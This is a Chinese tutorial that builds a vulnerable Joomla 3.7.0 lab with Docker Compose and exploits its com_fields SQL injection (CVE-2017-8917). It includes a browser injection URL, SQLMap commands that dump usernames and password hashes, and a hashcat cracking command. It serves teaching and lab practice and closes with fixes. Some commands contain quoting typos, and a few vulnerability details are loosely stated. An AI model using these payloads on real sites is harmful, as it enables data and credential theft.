Kali Linux下用Docker Compose一键搭建Joomla 3.7.0漏洞靶场(附完整SQLMap利用流程)
Kali Linux下用Docker Compose自动化搭建Joomla 3.7.0漏洞靶场与SQL注入实战
在网络安全学习过程中,搭建一个可重复使用的漏洞环境是每个渗透测试初学者的必经之路。传统手动配置方式不仅耗时耗力,还容易因环境差异导致复现失败。本文将带你使用Docker Compose在Kali Linux中一键部署Joomla 3.7.0漏洞环境(CVE-2017-8917),并通过SQLMap完成从漏洞检测到数据提取的全流程实战。
1. 环境准备与Docker Compose配置
1.1 系统基础环境检查
首先确保你的Kali Linux已安装最新版Docker和Docker Compose:
# 检查Docker版本 docker --version # 检查Docker Compose版本 docker-compose --version若未安装,可通过以下命令快速安装:
sudo apt update && sudo apt install -y docker.io docker-compose提示:建议使用Kali Linux 2023.x或更新版本,避免兼容性问题
1.2 编写docker-compose.yml
在项目目录(如~/vuln_labs/joomla)创建docker-compose.yml文件:
version: '3.8' services: joomla_vuln: image: vulhub/joomla:3.7.0 ports: - "8080:80" environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=joomla_db depends_on: - db db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=joomla_db volumes: - mysql_data:/var/lib/mysql volumes: mysql_data:关键配置说明:
- 端口映射:将容器80端口映射到主机8080端口
- 数据库配置:使用MySQL 5.7作为后端数据库
- 数据持久化:通过volume保存数据库数据
2. 靶场部署与初始化
2.1 启动漏洞环境
执行以下命令启动服务:
# 进入项目目录 cd ~/vuln_labs/joomla # 后台启动服务 docker-compose up -d验证服务状态:
docker-compose ps正常输出应显示两个容器(joomla_vuln和db)状态为"Up"
2.2 访问并初始化Joomla
在浏览器访问http://<your_kali_ip>:8080,按以下步骤初始化:
- 选择语言(建议English)
- 数据库配置:
- Database Type: MySQLi
- Hostname: db
- Username: root
- Password: root
- Database Name: joomla_db
- 设置管理员账号(建议使用弱密码如admin/admin123方便测试)
注意:在生产环境中绝对不要使用弱密码,此处仅用于教学目的
3. 漏洞原理分析(CVE-2017-8917)
3.1 漏洞成因
Joomla 3.7.0版本在com_fields组件中存在未过滤的SQL查询参数,攻击者可通过特制请求实现:
- 注入点:
option=com_fields&view=fields&layout=modal&list[fullordering] - 漏洞类型:二次注入+报错注入
- 影响范围:Joomla 3.7.0及之前版本
3.2 漏洞验证POC
直接在浏览器地址栏尝试以下URL:
http://<your_kali_ip>:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)若页面返回包含数据库用户名的XML解析错误,则证明漏洞存在。
4. SQLMap自动化利用实战
4.1 基础扫描与确认
使用SQLMap进行初步检测:
sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" --risk=3 --level=5关键参数说明:
-p:指定测试参数--risk:提高测试风险等级--level:提高测试深度
4.2 数据库信息提取
获取当前数据库信息:
sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" --current-db典型输出:
[12:34:56] [INFO] the back-end DBMS is MySQL [12:34:57] [INFO] fetching current database current database: 'joomla_db'4.3 表结构枚举
列出数据库中的所有表:
sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering"] -D joomla_db --tables重点关注#__users表(Joomla实际存储时会添加前缀)
4.4 用户凭证提取
获取用户表中的敏感信息:
sqlmap -u "http://192.168.1.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering"] -D joomla_db -T "#__users" -C "username,password" --dump输出示例:
+----------+--------------------------------------------------------------+ | username | password | +----------+--------------------------------------------------------------+ | admin | $2y$10$9ZcB9J5U6w9eKoCUkBQKW.7Xlb0HXo6Q1qL19VzRjJKl7bJQYqXu | +----------+--------------------------------------------------------------+4.5 密码破解建议
Joomla使用bcrypt哈希存储密码,可使用以下工具破解:
- John the Ripper
- Hashcat(模式3200)
示例Hashcat命令:
hashcat -m 3200 hash.txt rockyou.txt5. 环境管理与最佳实践
5.1 日常维护命令
# 停止环境 docker-compose down # 启动环境 docker-compose up -d # 彻底清除(包括数据卷) docker-compose down -v5.2 安全注意事项
- 网络隔离:建议在内部网络或VPN中运行漏洞环境
- 日志监控:定期检查Docker日志
docker-compose logs - 资源限制:为容器设置CPU和内存限制
# 在docker-compose.yml中添加 deploy: resources: limits: cpus: '1' memory: 512M
6. 漏洞修复方案
虽然本文聚焦漏洞利用,但作为负责任的测试者应该了解修复方案:
- 官方补丁:升级到Joomla 3.7.1或更高版本
- 临时缓解:
- 禁用com_fields组件
- 添加输入过滤规则
- WAF规则:添加针对SQL注入的防护规则
7. 扩展学习资源
推荐进一步学习的漏洞库:
- Vulhub - 开源漏洞环境集合
- VulnApps - 专门针对Web应用的漏洞环境
- OWASP Juice Shop - 综合性Web安全学习平台
对于想深入理解SQL注入原理的读者,建议研究:
- MySQL注入技巧
- 报错注入原理
- 时间盲注与布尔盲注
- ORM注入防御方案
